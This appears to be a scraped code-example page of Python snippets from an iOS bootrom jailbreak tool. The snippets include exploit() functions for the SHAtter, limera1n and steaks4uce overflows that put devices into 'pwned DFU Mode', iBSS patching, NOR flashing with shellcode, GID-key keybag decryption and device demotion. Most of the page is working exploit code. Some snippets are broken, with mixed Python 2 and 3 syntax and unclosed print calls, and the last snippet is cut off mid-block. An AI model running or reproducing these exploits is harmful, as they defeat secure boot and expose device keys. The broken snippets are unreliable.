Exemplo n.º 1
0
def exploit():
    print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***'

    device = dfu.acquire_device()
    print 'Found:', device.serial_number

    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return

    if 'CPID:8930' not in device.serial_number:
        print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.'
        sys.exit(1)

    if 'SRTG:[iBoot-574.4]' not in device.serial_number:
        print 'ERROR: CPID is compatible, but serial number string does not match.'
        print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
        sys.exit(1)

    dfu.reset_counters(device)
    dfu.get_data(device, 0x40)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.get_data(device, 0x2C000)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    dfu.reset_counters(device)
    dfu.get_data(device, 0x140)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.send_data(device, generate_payload())
    dfu.get_data(device, 0x2C000)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    failed = 'PWND:[SHAtter]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)

    print 'Device is now in pwned DFU Mode.'
Exemplo n.º 2
0
    def command(self, request_data, response_length):
        assert 0 <= response_length <= USB_READ_LIMIT
        device = dfu.acquire_device()
        assert self.serial_number == device.serial_number
        dfu.send_data(device, '\0' * 16)
        device.ctrl_transfer(0x21, 1, 0, 0, 0, 100)
        device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
        device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
        dfu.send_data(device, request_data)
        # address = 0
        # for line in utilities.hex_dump(request_data, address).splitlines():
        #     print '%x: %s' % (address, line[10:])
        #     address += 16
        # print(request_data)
        # self.hexdump(0, request_data)

        # HACK
        if response_length == 0:
            response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0,
                                            response_length + 1,
                                            CMD_TIMEOUT).tostring()[1:]
        else:
            response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0,
                                            response_length,
                                            CMD_TIMEOUT).tostring()
            # print(response)
        dfu.release_device(device)
        assert len(response) == response_length
        return response
Exemplo n.º 3
0
def exploit():
    print '*** based on limera1n exploit (heap overflow) by geohot ***'

    device = dfu.acquire_device()
    print 'Found:', device.serial_number

    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return

    chosenConfig = None
    for config in configs:
        if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
            chosenConfig = config
            break
    if chosenConfig is None:
        for config in configs:
            if 'CPID:%s' % config.cpid in device.serial_number:
                print 'ERROR: CPID is compatible, but serial number string does not match.'
                print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
                sys.exit(1)
        print 'ERROR: Not a compatible device. This exploit is for S5L8920/S5L8922/S5L8930 devices only. Exiting.'
        sys.exit(1)

    dfu.send_data(
        device,
        generate_payload(chosenConfig.constants, chosenConfig.exploit_lr))

    assert len(device.ctrl_transfer(0xA1, 1, 0, 0, 1, 1000)) == 1

    limera1n_libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800,
                                         10)

    try:
        device.ctrl_transfer(0x21, 2, 0, 0, 0, 10)
        print 'ERROR: This request succeeded, but it should have raised an exception. Exiting.'
        sys.exit(1)
    except usb.core.USBError:
        # OK: This request should have raised USBError.
        pass

    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    failed = 'PWND:[limera1n]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)

    print 'Device is now in pwned DFU Mode.'
Exemplo n.º 4
0
def exploit():
    print('*** based on steaks4uce exploit (heap overflow) by pod2g ***')

    device = dfu.acquire_device()
    print('Found:', device.serial_number)

    if 'PWND:[' in device.serial_number:
        print('Device is already in pwned DFU Mode. Not executing exploit.')
        return

    if 'CPID:8720' not in device.serial_number:
        print(
            'ERROR: Not a compatible device. This exploit is for S5L8720 devices only. Exiting.'
        )
        sys.exit(1)

    chosenConfig = None
    for config in configs:
        if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
            chosenConfig = config
            break

    if chosenConfig is None:
        print(
            'ERROR: CPID is compatible, but serial number string does not match.'
        )
        print(
            'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
        )
        sys.exit(1)

    dfu.reset_counters(device)
    dfu.send_data(device, generate_shellcode(chosenConfig.constants))
    dfu.send_data(device, payload)
    assert len(device.ctrl_transfer(0xA1, 1, 0, 0, len(payload),
                                    1000)) == len(payload)
    dfu.release_device(device)

    time.sleep(0.01)

    device = dfu.acquire_device()
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    failed = 'PWND:[steaks4uce]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
        sys.exit(1)

    print('Device is now in pwned DFU Mode.')
Exemplo n.º 5
0
    def boot_ibss(self):
        print 'Sending iBSS.'
        if self.config.cpid != '8920':
            print 'ERROR: Boot iBSS is currently only supported on iPhone 3GS.'
            sys.exit(1)

        help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'
        help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'
        try:
            f = open('n88ap-iBSS-4.3.5.img3', 'rb')
            data = f.read()
            f.close()
        except:
            print 'ERROR: n88ap-iBSS-4.3.5.img3 is missing.'
            print help1
            print help2
            sys.exit(1)
        if len(data) == 0:
            print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).'
            print help1
            print help2
            sys.exit(1)
        if hashlib.sha256(data).hexdigest(
        ) != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':
            print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.'
            print help1
            print help2
            sys.exit(1)

        iBSS = image3.Image3(data)
        decryptediBSS = iBSS.newImage3(decrypted=True)
        n88ap_iBSS_435_patches = [
            (0x14954, 'run\x00'),  # patch 'reset' command string to 'run'
            (0x17654, struct.pack('<I', 0x41000001)
             ),  # patch 'reset' command handler to LOAD_ADDRESS + 1
        ]
        patchediBSS = decryptediBSS[:64] + utilities.apply_patches(
            decryptediBSS[64:], n88ap_iBSS_435_patches)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number
        dfu.reset_counters(device)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number
        data = dfu.send_data(device, patchediBSS)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        print 'Waiting for iBSS to enter Recovery Mode.'
        device = recovery.acquire_device()
        recovery.release_device(device)
Exemplo n.º 6
0
  def command(self, request_data, response_length):
    assert 0 <= response_length <= USB_READ_LIMIT
    device = dfu.acquire_device()
    assert self.serial_number == device.serial_number
    dfu.send_data(device, b'\0' * 16)
    device.ctrl_transfer(0x21, 1, 0, 0, 0, 100)
    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
    dfu.send_data(device, request_data)

    # HACK
    if response_length == 0:
      response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length + 1, CMD_TIMEOUT).tostring()[1:]
    else:
      response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length, CMD_TIMEOUT).tostring()
    dfu.release_device(device)
    assert len(response) == response_length
    return response
Exemplo n.º 7
0
    def execute(self, cmd, receiveLength):
        device = dfu.acquire_device()
        assert self.identifier == device.serial_number

        dfu.reset_counters(device)
        dfu.send_data(device, EXEC_MAGIC + cmd)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number

        requiredLength = 0x8 + receiveLength
        requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800
        received = dfu.get_data(device, requiredLength)
        dfu.release_device(device)

        (exec_cleared, retval) = struct.unpack('<2I', received[:8])
        assert exec_cleared == 0
        return (retval, received[8:8 + receiveLength])
Exemplo n.º 8
0
    def boot_ibss(self):
        print('Sending iBSS.'
        if self.config.cpid != '8920':
            print('ERROR: Boot iBSS is currently only supported on iPhone 3GS.')
            sys.exit(1)

        help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'
        help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'
        try:
            f = open('n88ap-iBSS-4.3.5.img3', 'rb')
            data = f.read()
            f.close()
        except:
            print('ERROR: n88ap-iBSS-4.3.5.img3 is missing.')
            print (help1)
            print (help2)
            sys.exit(1)
        if len(data) == 0:
            print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).')
            print (help1)
            print (help2)
            sys.exit(1)
        if hashlib.sha256(data).hexdigest() != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':
            print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.')
            print help1
            print help2
            sys.exit(1)

        iBSS = image3.Image3(data)
        decryptediBSS = iBSS.newImage3(decrypted=True)
        n88ap_iBSS_435_patches = [
            (0x14954,                     'run\x00'), # patch 'reset' command string to 'run'
            (0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1
        ]
        patchediBSS = decryptediBSS[:64] + utilities.apply_patches(decryptediBSS[64:], n88ap_iBSS_435_patches)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number
        dfu.reset_counters(device)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number
        data = dfu.send_data(device, patchediBSS)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        print('Waiting for iBSS to enter Recovery Mode.')
        device = recovery.acquire_device()
        recovery.release_device(device)

    def flash_nor(self, nor):
        self.boot_ibss()
        print('Sending iBSS payload to flash NOR.')
        MAX_SHELLCODE_LENGTH = 128
        payload = open('bin/ibss-flash-nor-shellcode.bin', 'rb').read()
        assert len(payload) <= MAX_SHELLCODE_LENGTH
        payload += '\x00' * (MAX_SHELLCODE_LENGTH - len(payload)) + nor

        device = recovery.acquire_device()
        assert 'CPID:8920' in device.serial_number
        recovery.send_data(device, payload)
        try:
            print('Sending run command.'
            recovery.send_command(device, 'run')
        except usb.core.USBError:
            # OK
            pass
            #print('Caught USBError; should still work.'
        recovery.release_device(device)
        print('If screen is not red, NOR was flashed successfully and device will reboot.')

    def decrypt_keybag(self, keybag):
        KEYBAG_LENGTH = 48
        assert len(keybag) == KEYBAG_LENGTH

        KEYBAG_FILENAME = 'aes-keys/S5L%s-firmware' % self.config.cpid
        try:
            f = open(KEYBAG_FILENAME, 'rb')
            data = f.read()
            f.close()
        except IOError:
            data = str()
        assert len(data) % 2 * KEYBAG_LENGTH == 0

        for i in range(0, len(data), 2 * KEYBAG_LENGTH):
            if keybag == data[i:i+KEYBAG_LENGTH]:
                return data[i+KEYBAG_LENGTH:i+2*KEYBAG_LENGTH]

        device = PwnedDFUDevice()
        decrypted_keybag = device.aes(keybag, AES_DECRYPT, AES_GID_KEY)

        f = open(KEYBAG_FILENAME, 'a')
        f.write(keybag + decrypted_keybag)
        f.close()

        return decrypted_keybag
Exemplo n.º 9
0
            # Remove 24Kpwn first.
            nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
            new_nor = alloc8.exploit(nor, device.config.version)
            device.flash_nor(new_nor.dump())

        if opt == '-f':
            try:
                with open(arg, 'rb') as f:
                    data = f.read()
            except IOError:
                print 'ERROR: Could not read file:', arg
                sys.exit(1)

            device = dfu.acquire_device()
            dfu.reset_counters(device)
            dfu.send_data(device, data)
            dfu.request_image_validation(device)
            dfu.release_device(device)

        if opt == '--demote':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                old_value = pwned.read_memory_uint32(
                    pwned.platform.demotion_reg)
                print 'Demotion register: 0x%x' % old_value
                if old_value & 1:
                    print 'Attempting to demote device.'